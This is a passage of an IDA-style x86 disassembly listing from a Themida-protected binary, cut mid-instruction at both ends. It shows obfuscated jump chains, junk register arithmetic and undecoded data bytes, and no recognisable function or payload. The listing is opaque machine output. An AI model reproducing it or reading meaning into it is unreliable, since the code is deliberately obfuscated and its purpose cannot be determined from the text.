ebp, ebx jmp loc_549A48 ; --------------------------------------------------------------------------- dd 0CEEC581h, 0EE89E343h, 81DEF75Dh, 0B10ACBEEh, 0C1CE8167h dd 0F719916Fh, 2BE681D6h, 0E96B2B1Ah, 0FFFFC266h, 5C243C87h dd 0E957D829h, 0FFFFB2D0h, 0E9525058h, 0FFFFB886h, 6652B951h dd 38E971ABh, 5800001Bh, 83241C8Bh, 0C68104C4h, 0B8B41BFh dd 9CBA52h, 0CA812AEEh, 68FD33A1h, 0BC8AF281h, 0D6016B39h dd 0FFF0315Ah, 815E2434h, 4C4h, 45BE5600h, 83626E74h, 148904ECh dd 0D4685624h, 5E673861h, 8102E6C1h, 21DDD8C6h, 0BE5656AEh dd 2950F79h, 0FFACD5E9h, 86850FFh, 5867E15Ch, 0B21C5C05h dd 802E9E6h, 2AB00000h, 28B4EE80h, 0C5E953C6h, 68FFFFF7h dd 2618h, 81243C89h, 37B02434h, 51E95DBFh, 81FFFFBBh, 466CE5E5h dd 95409570h, 9C8ED81h, 0E931CBF6h, 81242C8Bh, 4C4h, 0E9CA8900h dd 0FFFFD2EEh, 24048B66h, 68E78957h, 474Ah, 0FFA6CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_549F45: ; CODE XREF: Themida_:0054E53Fj push esi mov esi, 9C970BFEh jmp loc_54DF1E ; --------------------------------------------------------------------------- loc_549F50: ; CODE XREF: Themida_:00548BAFj add esp, 4 add eax, esi pop esi sub eax, 41DA2023h pop edi add eax, 2 xchg eax, [esp] mov esp, [esp] movsx cx, al push small 11E6h mov [esp], cx jmp loc_543A20 ; --------------------------------------------------------------------------- db 89h dd 0C6E92424h, 53FFFFFCh, 1D7653BBh, 7E3C12Bh, 8E9DBF7h dd 81FFFFB9h, 5B57242Ch, 53683CA6h, 0E900006Ch, 0E1Ah ; --------------------------------------------------------------------------- loc_549FA4: ; CODE XREF: Themida_:00548357j mov [esp], eax jmp loc_54E98D ; --------------------------------------------------------------------------- dd 0EB81EB01h, 449E6DB6h, 0AEEB815Dh, 0E95DC57Ah, 0FFFFEF11h dd 8324048Bh, 0C72904C4h, 0E92434FFh, 0FFFFB4D2h, 0E92FB551h dd 50D7h, 41A968ADh, 0C890000h, 4482B924h, 39E9656Fh db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549FEB: ; CODE XREF: Themida_:0054744Cj ; Themida_:0054C157j ... push dword ptr [edi+24h] xor dword ptr [esp], 91B0BD2h push dword ptr [esp] pop ecx jmp loc_54900E ; --------------------------------------------------------------------------- aZSp db '‡<$\é',8,0 db 0 ; --------------------------------------------------------------------------- loc_54A007: ; CODE XREF: Themida_:00547A86j xor cl, bh pop ebx sub bl, 21h jmp loc_5498A3 ; --------------------------------------------------------------------------- dw 7D25h dd 508742Bh, 0FD3107BBh, 8158C789h, 0EC07F0C2h, 0E9FA292Bh dd 0C58h, 2BFh, 8BFA0100h, 0C483243Ch, 0D164E904h, 0E189FFFFh dd 48BBBB53h, 0EBC158E7h, 0E3C14B07h, 0EB814B04h, 15493FB7h dd 56BCC381h, 0C1810A2Ch, 1B431CD2h, 0FFE181E9h, 240C8BFFh dd 50E38953h, 35716857h, 875F51A0h, 0CBF9E9F7h, 0D5F7FFFFh dd 2ECDF581h, 4CE979D0h, 81FFFFB3h, 4C7h, 4EF8100h, 87000000h dd 0AAE9243Ch, 0F6000040h, 0B60F66E9h, 0EC8155CCh, 4, 7BA968h dd 24248900h, 4240483h, 5024048Fh, 4B8h, 24440100h, 0DCE95804h dd 89000034h, 4EC83E6h, 0E9240489h, 0FFFFF207h, 0E952D801h dd 106Dh, 0CF23E957h, 34FFFFFFh, 2EE2E924h, 4890000h, 80F0B424h dd 0DBE922ECh, 0BEFFFFF8h, 4A451E33h, 0F681DEF7h, 2C441B91h dd 7B21F681h, 0EE817716h, 6D060C5Ah, 161EE9h db 0 ; --------------------------------------------------------------------------- loc_54A115: ; CODE XREF: Themida_:0054D9C2j mov ecx, 23CF30DBh jmp loc_54F4DB ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF98FCh ; --------------------------------------------------------------------------- loc_54A124: ; CODE XREF: Themida_:0054E352j and eax, ebx push dword ptr [esp] pop ebx push edx push esp pop edx add edx, 4 sub esp, 4 mov [esp], ecx mov ecx, 4 add edx, ecx push dword ptr [esp] jmp loc_548D4C ; --------------------------------------------------------------------------- aBIai db 'Áê',7,'êˆ I',0 dd 0E95AD701h, 0FFFF9B76h, 0D9E95351h, 80000013h, 0F530E4C6h dd 11C5805Ah, 32E9EB30h, 28FFFFABh, 5B665AD0h, 0A9E9C330h dd 68FFFFC8h, 65F4h, 0B7241C89h, 86DFF690h, 86DAF6D7h dd 0FE5366D7h, 6601244Ch, 80D7F65Bh, 2BE9FECFh db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A1A3: ; CODE XREF: Themida_:005445FAj mov ebp, [esp] push eax mov eax, esp jmp loc_54DB4F ; --------------------------------------------------------------------------- dw 0EE81h dd 2, 5C243487h, 2445E9h, 0B2526600h, 0E9690498h, 0FFFF9E05h dd 0FBB6E95Ch, 0F901FFFFh, 8C8BF57h, 94E90C72h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A1DB: ; CODE XREF: Themida_:0054F717j pop eax mov esi, [esp] add esp, 4 loc_54A1E5: ; CODE XREF: Themida_:0054AA91j push ecx mov ecx, esp push edx push eax mov eax, 52DE055Fh mov edx, eax pop eax add edx, 14CC50F0h xor edx, 67AA564Bh add ecx, 55694F5Ch add ecx, edx sub ecx, 55694F5Ch pop edx sub ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_548E2C ; --------------------------------------------------------------------------- loc_54A231: ; CODE XREF: Themida_:0054FAE7j mov eax, esi pop esi mov ecx, [esp] add esp, 4 mov esi, [esp] add esp, 4 push 21A7h mov [esp], edi mov edi, 16D269F1h shr edi, 7 add edi, 0FFFFFFFFh shr edi, 3 push eax mov eax, esp jmp loc_54A639 ; --------------------------------------------------------------------------- loc_54A261: ; CODE XREF: Themida_:00549D32j push ebp jmp loc_54B135 ; --------------------------------------------------------------------------- db 54h dd 0BEE9565Dh, 0BBFFFFAEh, 3F013951h, 173E9h db 0 ; --------------------------------------------------------------------------- loc_54A279: ; CODE XREF: Themida_:0054A603j shr edx, 1 jmp loc_545B03 ; --------------------------------------------------------------------------- aASb db 'Áí',8,'é"',0 align 4 dd 68241C89h, 15E4h, 0B0240489h, 0E9C38818h, 366Dh ; --------------------------------------------------------------------------- loc_54A29C: ; CODE XREF: Themida_:0054E232j add ecx, 5A821483h dec ecx add ecx, 3A07926h add edx, ecx push dword ptr [esp] pop ecx add esp, 4 and eax, edx jmp loc_545021 ; --------------------------------------------------------------------------- loc_54A2BC: ; CODE XREF: Themida_:00549BC5j mov ebp, [esp] jmp loc_54A40D ; --------------------------------------------------------------------------- dd 8108E5C1h, 74B83CF5h, 0DDF74D90h, 4CC9CD81h, 0F5812AC6h dd 8FEAFAC0h, 1A8EE9h, 68515000h, 378745E8h, 0C2E98159h dd 0E9D55A14h, 0FFFFC270h ; --------------------------------------------------------------------------- loc_54A2F4: ; CODE XREF: Themida_:0054837Ej push ebp mov ebp, 716E6313h xor ebp, 633A69B1h dec ebp push edx mov edx, 0F4A2CE7h jmp loc_54E2D5 ; --------------------------------------------------------------------------- dd 0BF575D54h, 4, 0E95FFD01h, 0FFFFE5DFh, 546CE681h, 0D6F75A3Dh dd 0AB9FF681h, 0F001E5DEh, 0FFEAB2E9h, 4E3C1FFh, 0FFF43FE9h dd 0EC8359FFh, 242C8904h, 0B2D1CBDh, 18F5816Ah, 816A0B2Dh dd 0F91E71E9h, 81E90132h, 0F91E71C1h, 3D52E932h, 55B0000h dd 4DDDBCC4h, 0F758C321h, 3CE8E9DBh, 0E6880000h, 9E31E958h dd 0C059FFFFh, 0F28003E2h, 2DB55167h, 49C9E9h, 0B0505B00h dd 0E9C3286Ah, 3B95h, 4C681h, 0EE810000h, 4, 5C243487h dd 52243C89h, 1A6AABBAh, 9CFE90Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A3AE: ; CODE XREF: Themida_:0054BBEAj add esp, 4 or edx, eax shl edx, 1 push 13B2h mov [esp], edx push 0FFFFFFFFh push dword ptr [esp] mov edx, [esp] jmp loc_54D4EE ; --------------------------------------------------------------------------- dd 4C481h, 0E2C00000h, 1797E908h, 14890000h, 3CB95124h dd 0E93E3305h, 3D90h, 885BD929h, 240C8B11h, 0E904C483h dd 0FFFF9624h ; --------------------------------------------------------------------------- loc_54A3FC: ; CODE XREF: Themida_:00546D71j push edx push ebx mov ebx, 168B0AD0h mov edx, ebx pop ebx mov ebp, edx jmp loc_54B69F ; --------------------------------------------------------------------------- loc_54A40D: ; CODE XREF: Themida_:0054A2BFj add esp, 4 or eax, eax jmp loc_54DA6E ; --------------------------------------------------------------------------- db 5Ah dd 0FFD864E9h, 66F9F6FFh, 83CCB60Fh, 48904ECh, 4EC8324h dd 52242489h, 4BAh, 0C214E900h, 0E959FFFFh, 2ACCh, 24048B66h dd 4EC81h, 1C890000h, 1C8B5424h, 4C48124h, 56000000h, 2D06E9h dd 0E9D6F700h, 0FFFFF32Ah ; --------------------------------------------------------------------------- loc_54A464: ; CODE XREF: Themida_:0054738Aj add edx, ecx pop ecx xor edx, 59C333Ah not edx jmp loc_544C6B ; --------------------------------------------------------------------------- loc_54A474: ; CODE XREF: Themida_:0054C386j add esp, 4 shr esi, 1 add esi, 565F3B55h inc esi jmp loc_54E59C ; --------------------------------------------------------------------------- loc_54A485: ; CODE XREF: Themida_:00547FE0j mov [esp], edi jmp loc_5475EF ; --------------------------------------------------------------------------- db 0ACh, 4, 71h dd 8072B753h, 9BE944F7h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A49B: ; CODE XREF: Themida_:005452EFj push ecx jmp loc_54D5E8 ; --------------------------------------------------------------------------- loc_54A4A1: ; CODE XREF: Themida_:0054D606j mov ecx, 66241143h jmp loc_546798 ; --------------------------------------------------------------------------- loc_54A4AB: ; CODE XREF: Themida_:0054B960j pop ebp jmp loc_54D2F2 ; --------------------------------------------------------------------------- db 0B0h, 65h, 0B2h dd 0E9C22897h, 0FFFFF9BCh, 0BFE95B54h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A4C3: ; CODE XREF: Themida_:0054E605j push eax push ecx mov cl, 17h jmp loc_5474B1 ; --------------------------------------------------------------------------- dd 3B0FF181h, 0C8293557h, 592434FFh, 5204C483h, 6C6793BAh dd 1E65E931h, 0C8890000h, 0FEEB8159h, 0E939473Ah, 4A77h dd 0DAEBE95Dh, 0E950FFFFh, 1617h, 5157535Ch, 4EC81h, 34890000h dd 0CE41E924h, 1C33FFFFh, 3749E924h, 1E90000h, 83FFFF95h dd 2C8704C5h, 0C6815C24h, 4, 2BB53h, 0DE010000h, 83241C8Bh dd 348704C4h, 4B39E924h, 0D8010000h, 82BA525Bh, 0E9422313h dd 0FFFFBD2Ch, 1CCBCF81h, 0E7812A86h, 5836693Ch, 51E38953h dd 4B9h, 1475E900h, 0DA010000h, 56D2EA81h, 0E95B13F5h dd 0FFFFCF6Eh, 0F8005966h, 71045Bh, 0E95366D8h, 0FFFF94A1h dd 0FD300DB7h, 26E95B66h, 89FFFF96h, 0FCE92434h db 0B4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A59B: ; CODE XREF: Themida_:00548CF3j add ebp, ebx jmp loc_54A90E ; --------------------------------------------------------------------------- dw 0E6C1h dd 2836E902h, 5A660000h, 1C8BFE20h, 51D1E924h, 0E95A0000h dd 0FFFFC8B1h, 52665866h, 24348166h, 5D661E88h, 82B86650h dd 0B4D5E925h, 815FFFFFh, 631FE7EFh, 5FFA895Eh, 34FFD001h dd 89505A24h, 0F5BE56E0h, 4E468D1Dh, 0F681EED1h, 23468EFEh dd 34FFF001h, 24348B24h, 0FFF79AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A601: ; CODE XREF: Themida_:0054E2B2j or ebx, ebx jnz loc_54A279 push ecx mov ecx, 20h add ecx, edi push eax mov eax, 0 jmp loc_54FB1E ; --------------------------------------------------------------------------- loc_54A61C: ; CODE XREF: Themida_:0054F16Cj push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_54DFF1 ; --------------------------------------------------------------------------- loc_54A62C: ; CODE XREF: Themida_:0054DA1Ej xchg ebx, [esp] mov esp, [esp] and eax, ebx jmp loc_54CBD5 ; --------------------------------------------------------------------------- loc_54A639: ; CODE XREF: Themida_:0054A25Cj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push edx mov edx, 51D73D92h jmp loc_54E46E ; --------------------------------------------------------------------------- db 68h, 50h, 3Dh dd 7AE90000h, 80FFFF9Bh, 0C28065EDh, 3DA8E976h, 5F540000h dd 4BD55h, 70E90000h, 54000040h, 4C5815Dh, 83000000h, 2C3302C5h dd 242C3124h, 0FF9E43E9h, 3FC381FFh, 813A6C38h, 306576C3h dd 0E9C3017Bh, 148h, 4EC81h, 1C890000h, 0E9E38924h, 0FFFFA895h dd 3E9C166h, 0FFC8A7E9h, 0C80058FFh, 0E9D40459h, 4908h dd 0E9240487h, 0FFFFC324h, 3034542Ch, 0E958C728h, 1C9h ; --------------------------------------------------------------------------- loc_54A6D8: ; CODE XREF: Themida_:005481E1j pop edi add esi, 4 xchg esi, [esp] jmp loc_544617 ; --------------------------------------------------------------------------- db 0F7h dd 91F181D1h, 0E940D07Dh, 0FFFFC7FFh, 48BC589h, 4C48124h dd 31000000h, 2434FFE8h, 4EC815Dh, 0E9000000h, 0FFFFE0A0h dd 4240483h, 4C7815Fh, 56000000h, 188BE9h, 0EC815600h dd 4, 0FFD1AAE9h, 58C689FFh, 335EF701h, 3C31243Ch, 243C3324h dd 8124248Bh, 4ECh, 24348900h, 43166852h, 0CBE90000h db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A753: ; CODE XREF: Themida_:0054E730j dec ecx add ecx, 363835B9h add ecx, 4215779h jmp loc_54BC6F ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 8904EC83h, 5A542414h, 4C281h, 0C2810000h, 4, 5C241487h dd 4C281h, 57530000h, 5010E9h, 0A4A6800h, 2C890000h, 83E58924h dd 0C8904ECh, 4199E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A7A2: ; CODE XREF: Themida_:0054BD83j xchg ebx, [esp] jmp loc_545DC8 ; --------------------------------------------------------------------------- dw 0E95Fh dd 1CE8h ; --------------------------------------------------------------------------- loc_54A7B0: ; CODE XREF: Themida_:00549C2Ej push edx jmp loc_54E2C5 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 0FFC0DAE9h, 52882CFFh, 0E904EC83h, 0FFFFD228h ; --------------------------------------------------------------------------- loc_54A7CC: ; CODE XREF: Themida_:00548072j sub ebp, ecx sub ebp, 329D6A40h pop ecx sub edx, 688F1BDAh sub edx, ebp add edx, 688F1BDAh jmp loc_54C0F9 ; --------------------------------------------------------------------------- dd 6576EB81h, 0FEE97B30h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A7F3: ; CODE XREF: Themida_:0054EA3Cj mov [esp], ebp push eax jmp loc_5496AC ; --------------------------------------------------------------------------- dd 4C481h, 47210000h, 2434FF1Ch, 8124048Bh, 4C4h, 32685600h dd 89000011h, 4832424h, 525E0424h, 4BAh, 0DBABE900h, 0F028FFFFh dd 0F8005A66h, 0FFF988E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A835: ; CODE XREF: Themida_:00544527j push dword ptr [esp] jmp loc_54D001 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 36E9240Ch db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A84B: ; CODE XREF: Themida_:0054D374j mov ecx, 0D0E04A6Eh sub ecx, ebx jmp loc_547F74 ; --------------------------------------------------------------------------- db 83h dd 0F381FFEBh, 671A38A4h, 366DF381h, 0DD894147h, 0EE68575Bh dd 0E90A930Ch, 0FFFFAE4Ah, 24348B5Eh, 815D5455h, 4C5h dd 0FC99E900h, 8F5FFFFFh, 835C2404h, 2C8904ECh, 0B308E924h dd 0F66FFFFh, 9C2404BBh, 0FF917FE9h, 24148BFFh, 2804C483h dd 241C8BF8h, 3004C483h, 0C0B60FC3h, 578734FFh, 5025E9h db 0 ; --------------------------------------------------------------------------- loc_54A8BD: ; CODE XREF: Themida_:005440AAj not esi not esi sub esi, 51C8262Eh xor esi, 0AC5A6207h add ebp, esi jmp loc_548C64 ; --------------------------------------------------------------------------- loc_54A8D4: ; CODE XREF: Themida_:0054B05Cj shr ebp, 8 inc ebp jmp loc_54CB8E ; --------------------------------------------------------------------------- loc_54A8DD: ; CODE XREF: Themida_:0054BA87j mov [esp], eax xchg ecx, [esp] xchg edi, ecx not edi xchg edi, ecx xchg ecx, [esp] pop eax xor [esp], eax jmp loc_543C2C ; --------------------------------------------------------------------------- loc_54A8F5: ; CODE XREF: Themida_:00547201j mov ecx, 4 sub ebx, ecx pop ecx xchg ebx, [esp] pop esp mov [esp], eax mov eax, 4CE93A31h jmp loc_54D80C ; --------------------------------------------------------------------------- loc_54A90E: ; CODE XREF: Themida_:0054A59Dj pop ebx sub ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] mov [esp], ebp push ebx mov ebx, 3D3400D5h or ebx, 1C95525Bh dec ebx push esi jmp loc_545A9D ; --------------------------------------------------------------------------- dw 1487h dd 66645C24h, 0E5E90289h, 5FFFF90h, 4F931FB0h, 5F780105h dd 58C22125h, 0FFE734E9h, 33E95EFFh db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A953: ; CODE XREF: Themida_:005480D2j add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp loc_54A966: ; CODE XREF: Themida_:loc_54DA6Ej push esi mov esi, esp push edx mov edx, 4 add esi, edx pop edx jmp loc_54714C ; --------------------------------------------------------------------------- db 0B4h dd 66E72849h, 0D6B25258h, 885AD728h, 51665BFAh, 0CA0050B1h dd 0DAE95966h, 0F7000035h, 25BD2DD8h, 0C3299F49h, 4EC8158h dd 89000000h, 0C9BA2414h, 81389C42h, 986463C3h, 81D30168h dd 986463EBh, 24148B68h, 286E9h db 0 ; --------------------------------------------------------------------------- loc_54A9C1: ; CODE XREF: Themida_:00544776j xchg ebp, [esp] pop esp push 1B93h mov [esp], edx mov edx, esp jmp loc_5440F8 ; --------------------------------------------------------------------------- dd 212C68h, 0A8D1E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A9DE: ; CODE XREF: Themida_:00549569j xchg ebx, ecx neg ebx jmp loc_54B84F ; --------------------------------------------------------------------------- db 81h dd 4ECh, 38FEE900h, 815A0000h, 4946A4C5h, 9F42E911h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A9FE: ; CODE XREF: Themida_:0054E438j sub bx, 4AFh push eax mov eax, esp jmp loc_546DE7 ; --------------------------------------------------------------------------- db 5Dh dd 0FFFFE981h, 68FFFFh, 29000000h, 7EE9240Ch db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA1F: ; CODE XREF: Themida_:0054D19Cj xchg ecx, [esp] pop esp mov [esp], dx mov dx, 83h xor dx, 23F8h or dx, 5DCBh push dx not word ptr [esp] pop dx xchg ax, dx add ax, 0FFFFh xor dx, ax xor ax, dx xor dx, ax shl dx, 7 jmp loc_54E84A ; --------------------------------------------------------------------------- db 0B7h, 0A5h, 0 dd 1C8B66F8h, 2C48124h, 28000000h, 0E9A52CF0h, 0FFFFB57Ch dd 8904EC83h, 0BB7241Ch, 801ACF80h, 0D36846EFh, 89000079h dd 0CFB62414h, 28A7F680h, 2B4E9F7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA8E: ; CODE XREF: Themida_:00548789j pop esp or eax, eax jz loc_54A1E5 push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] push edi jmp loc_54C959 ; --------------------------------------------------------------------------- db 80h, 0C3h, 0C1h dd 0B450C328h, 58E328C1h, 0FE95B151h, 0D8F180C9h, 0E9DAC380h dd 0FFFFC63Dh, 4CFE2D5Eh, 0D8012570h, 8904EC83h, 0E953240Ch dd 4F77h, 3166AD66h, 126768D8h, 14890000h, 9B686624h, 148B6641h dd 2C48324h, 0FFEA8166h, 0A8E951FFh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AAFB: ; CODE XREF: Themida_:005472E2j push edi mov edi, 44E865DCh jmp loc_5472A7 ; --------------------------------------------------------------------------- dw 0C683h dd 0C736E904h, 8952FFFFh, 4678E9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AB16: ; CODE XREF: Themida_:00548E3Aj mov [esp], ecx mov ecx, 0DB712B2h jmp loc_54F49A ; --------------------------------------------------------------------------- db 83h dd 0C8702C1h, 0D8005C24h, 0FFA929E9h, 66EA81FFh, 811DC01Eh dd 5E06DFEAh, 5AD02977h, 0D879652Dh, 24348B33h, 4E956856h dd 24890000h, 24048124h, 4, 0FFD9D6E9h, 4C781FFh, 83000000h dd 3C8704C7h, 48F5C24h, 24248B24h, 4EC81h, 0C890000h, 4EC8124h dd 89000000h, 7682404h, 8900002Eh, 1BB241Ch, 0E963C12Ch dd 0FFFFE889h, 0E904EC83h, 0FFFFA43Ch, 5143D3F7h, 364E72B9h dd 6E18179h, 81761015h, 0EE390E9h, 59CB31F0h, 34FFD801h dd 54535B24h, 83241C8Bh, 0C38104C4h, 4, 4C381h, 8DE90000h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ABD3: ; CODE XREF: Themida_:0054F28Cj push ebx push 5FF84F27h mov ebx, [esp] add esp, 4 jmp loc_54EFD3 ; --------------------------------------------------------------------------- aZ4LHjy db '‡4$‹$$h†Y',0 dw 8900h dd 0D388241Ch, 4EC81h, 0A2E90000h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ABFF: ; CODE XREF: Themida_:00547580j push eax mov eax, 4 add edi, eax pop eax sub edi, 4 jmp loc_54E25C ; --------------------------------------------------------------------------- db 33h dd 248B240Ch, 0AB0F6624h, 0E99C2404h, 0FFFF8DFCh, 8B5AD001h dd 0C481242Ch, 4, 6F7A68h, 24348900h, 86628BBEh, 29C36851h dd 22E90000h, 83FFFFDBh, 0EC8104C4h, 4, 56240C89h, 0D3F6855h dd 0C3E930A4h, 0ADFFFF8Eh, 25BDE9h db 0 ; --------------------------------------------------------------------------- loc_54AC65: ; CODE XREF: Themida_:00546A52j add ecx, 4 xchg ecx, [esp] pop esp not ebx sub ebx, 0FFFFFFFFh push edi mov edi, 748170CDh add edi, 74E0135h xor ebx, edi jmp loc_5490F9 ; --------------------------------------------------------------------------- dd 2BE5653h, 81725840h, 694F21CEh, 2E6C178h, 0B9CE81h dd 0F6813249h, 0A2B72E77h, 72E9F389h, 8100004Ch, 4C7h dd 74FF5700h, 8F5F0424h, 815C2404h, 23395EEBh, 0D5AAE974h dd 4968FFFFh, 0E9000037h, 0FFFFF712h, 240C8B66h, 4EC81h dd 94E90000h, 89FFFF95h, 0DD255FF8h, 0E95B3B2Fh, 0FFFF9BA7h dd 0CC685D54h, 8900000Eh, 19BF243Ch, 0F74E9D41h, 6EFC1DFh dd 0D105EFC1h, 1EF83E7h, 58A9F781h, 0BA52002Ch, 7F881042h dd 15AD501h, 42ED81FDh, 8B7F8810h, 0E952243Ch, 2E08h ; --------------------------------------------------------------------------- loc_54AD24: ; CODE XREF: Themida_:00549BBBj pop ecx xor edx, 6279482Bh shl edx, 2 push ebp mov ebp, 3F2976E2h shr ebp, 5 xor ebp, 1D36DD7h jmp loc_54E1B3 ; --------------------------------------------------------------------------- aZaq db 'Z€ï%',0 db 0F8h dd 0E9515B5Bh, 0FFFFEDE9h ; --------------------------------------------------------------------------- loc_54AD50: ; CODE XREF: Themida_:0054CBBCj xor ecx, eax pop eax shr ecx, 6 and ecx, 3983924h xor ecx, 0C151FDEh jmp loc_544D68 ; --------------------------------------------------------------------------- db 33h dd 3C31243Ch, 243C3324h, 0F24248Bh, 9C51C8AFh, 0FF8CA3E9h dd 81C2BFFFh, 0D731262Bh, 0ABF575Ah, 291CB25Fh, 0F8295FF8h dd 0B25F0A05h, 2434FF1Ch, 0A0E6E95Fh, 348BFFFFh, 205CE924h dd 0E3810000h, 0FD014E7h, 4DE9D3F7h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ADB3: ; CODE XREF: Themida_:0054C254j mov edi, 3B2D5E90h dec edi jmp loc_54B291 ; --------------------------------------------------------------------------- dw 1489h dd 7D4CBA24h, 54291616h, 148B0424h, 4C48124h, 0E9000000h dd 0FFFF8C48h, 6E1C15Dh, 0FFC936E9h, 0BEB850FFh, 0E961575Eh dd 0FFFFACF2h, 0F96CEA81h, 0D7011E86h, 2C7835Ah, 2474FF57h dd 243C8B04h, 8F04C483h, 248B2404h, 0CFF6624h, 0DE99C24h dd 33FFFF8Ch, 685C241Ch, 149Eh, 0C2E9h, 2C48300h, 5AF028h dd 689D04D8h, 72E6h, 0B2241489h, 13B15116h, 0D2F6D186h dd 0C180D186h, 4E9C0E9h, 2A4BE9h, 5DEA0100h, 0E4E9DA01h dd 81FFFFBAh, 8552CC6h, 0B9F4E91Ch, 8B66FFFFh, 0F7682404h dd 89000010h, 8B54242Ch, 0C483242Ch, 0E31EE904h, 3C28FFFFh dd 243C8A24h, 0FFD082E9h, 0AFCE81FFh, 0E935F035h, 4009h ; --------------------------------------------------------------------------- loc_54AE8C: ; CODE XREF: Themida_:00545A0Bj pop esp loc_54AE8D: ; CODE XREF: Themida_:0054DC98j push ebx push ecx mov ecx, 17910F80h jmp loc_5451F4 ; --------------------------------------------------------------------------- db 4, 0BAh, 0E9h dd 0FFFFFBCCh ; --------------------------------------------------------------------------- loc_54AEA0: ; CODE XREF: Themida_:00548ADBj xchg eax, [esp] not eax xchg eax, [esp] jmp loc_545EA2 ; --------------------------------------------------------------------------- loc_54AEAD: ; CODE XREF: Themida_:0054B23Cj add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp add eax, edx pop edx push 305Fh mov [esp], edi jmp loc_54C4D1 ; --------------------------------------------------------------------------- dd 2C781h, 0A0E90000h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AEDB: ; CODE XREF: Themida_:0054DE7Fj mov [esp], ecx jmp loc_54B29C ; --------------------------------------------------------------------------- db 89h dd 20BA2414h, 81000000h, 580465EAh, 81FA0145h, 580465C2h dd 11328145h, 5A013006h, 81E68956h, 4C6h, 4EE8300h, 5C243487h dd 68241C89h, 0 dd 5B2434FFh, 0FF8E95E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AF21: ; CODE XREF: Themida_:0054EE4Dj add edi, 6F5101BFh jmp loc_548C8E ; --------------------------------------------------------------------------- dd 0D800E32Ch, 0F622B353h, 80CBFED3h, 0CB8039C3h, 80DBF6CFh dd 53E9C2F3h, 5000029h, 448369B7h, 98083705h, 0E9F0297Fh dd 0FFFFB72Eh, 28742CACh, 0EC8351D8h, 24148904h, 0FF93B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AF69: ; CODE XREF: Themida_:0054509Fj xor esi, 3D02005Dh sub esi, 0F2873D74h push edi mov edi, esi mov eax, edi pop edi mov esi, [esp] add esp, 4 xor eax, 74662F62h add ebp, 31090B1Eh add ebp, eax jmp loc_54896B ; --------------------------------------------------------------------------- dw 56B9h dd 31ACC1C4h, 1E7E9CDh, 0D7F60000h, 9E9EFD0h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AFAB: ; CODE XREF: Themida_:0054E990j xchg edx, edi push 7CA9h jmp loc_54D9C7 ; --------------------------------------------------------------------------- db 51h dd 36B0F1B5h, 0C8BE830h, 44B6E924h, 0BA520000h, 3E4F34A1h dd 0DBF6E942h, 5251FFFFh, 661CB951h, 0C1815047h, 7D947261h dd 0D6D5E981h, 0C181933Dh, 7DB0EDCh, 0C159CA89h, 0B95104E2h dd 6C4C2DA7h, 8102E9C1h, 167001E1h, 34CEE92Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B006: ; CODE XREF: Themida_:00548327j push dword ptr [esp] pop eax jmp loc_5493E4 ; --------------------------------------------------------------------------- db 68h dd 3E27h, 56241489h, 5964BEBEh, 64BF5737h, 0F726F46Ch dd 97EF81D7h, 4F403A02h, 63C2CF81h, 0EF813C39h, 0DA03A9Fh dd 2267F781h, 0FE0167FFh, 81243C8Bh, 4C4h, 0BF575600h dd 69296AB1h, 4247C29h, 0FFB68AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B059: ; CODE XREF: Themida_:005498B0j mov ebp, edi pop edi jmp loc_54A8D4 ; --------------------------------------------------------------------------- loc_54B061: ; CODE XREF: Themida_:0054B2A6j pop ebx jmp loc_543A7E ; --------------------------------------------------------------------------- db 1 dd 0E90288DAh, 3114h, 9D6E10BBh, 5BD88903h, 815BD831h dd 0C627DCC7h, 81C70155h, 0C627DCEFh, 0D5D8E955h, 0B951FFFFh dd 4, 0FAE9CB01h, 2CFFFFA5h, 34FF5AD1h, 0C4835B24h, 0FC33004h dd 8F66C0B6h, 6DE98704h, 5AFFFF89h, 0DE0087B6h, 76C6805Bh dd 8904EC83h, 0A4E92404h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B0C7: ; 